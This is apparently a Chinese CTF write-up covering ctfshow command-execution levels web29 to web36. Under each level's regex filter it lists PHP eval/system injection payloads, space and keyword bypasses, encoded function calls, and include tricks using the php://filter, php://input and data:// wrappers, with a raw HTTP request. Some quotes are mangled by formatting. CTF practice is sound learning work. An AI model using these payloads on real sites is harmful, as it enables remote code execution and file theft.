ctfshow-web-命令执行

文章详细讨论了在Web应用中,如何利用GET参数的不当处理进行系统命令执行、文件包含、编码绕过等攻击手段,以及后续版本中对PHP函数、字符和伪协议的过滤措施。
摘要由CSDN通过智能技术生成
  1. web29
    eval了GET的参数,没过滤就system执行,但是匹配到大小写的flag就不执行。

    ①直接执行系统命令
    ?c=system(“tac fla*”);
    ?c=system(“cp flg.php a.txt ");
    ?c=passthru("cat fl
    ”);
    ?c=echo shell_exec(“tac fl*”);
    ?c=echo exec(“cat fl*”);
    ?c=highlight_file(next(array_reverse(scandir(“.”))));

    ②内敛执行
    ?c=echo cat fl*;
    ?c=echo cat fl??.?hp;

    ③利用参数输入+eval
    ?c=eval($_GET[1]);&1=system(‘tac fla*’);

    ④利用参数输入+include+伪协议(不用括号、分号)
    ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

  2. web30
    过滤了php、flag、system
    补充打印文件命令?c=echo%20nl%20fl%27%27ag.p%27%27hp;

  3. web31
    preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
    其他的过滤了无所谓,但过滤了.和空格

    ①其实就是highlight_file(flag.php);的url编码,适用php7
    ?c=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F);

    ②通过嵌套eval函数来获取另一个参数的的方法来绕过,不会判断其他参数的传入
    ?c=eval($_GET[a]);&a=system(‘cat flag.php’);

    ③用函数绕
    ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    ?c=show_source(scandir(getcwd())[2]);

    localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要是返回数组第一个"."
    pos():输出数组第一个元素,不改变指针
    scandir():遍历目录,这里因为参数为"."所以遍历当前目录
    array_reverse():元组倒置
    next():将数组指针指向下一个,这里可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
    show_source():查看源码
    getcwd():获取当前工作目录

    ④绕空格
    ?c=passthru(“tac%09fla*”);
    ?c=passthru(“tac${IFS}$9fla*”);
    中间拼接用%09
    ${IFS}$9替换, 不行就在第一个$转义试试

  4. web33
    多过滤了; 命令执行构造包含然后伪协议不用分号

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  1. web34
    相比上题多过滤了冒号。
同上,秒了
  1. web35
    多了=和<,意思就是不让?>绕分号嘛,但是还是可以构造include秒了,试试POST方法的,需要伪协议input执行该POST请求。
GET /?c=include$_GET[1]?>&1=php://input HTTP/1.1
Host: 8885362a-8593-4c47-8a66-49fc4ab85f9f.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 31

<?php system('tac flag.php');?>
  1. web36
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system("tac fla*");?>
  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值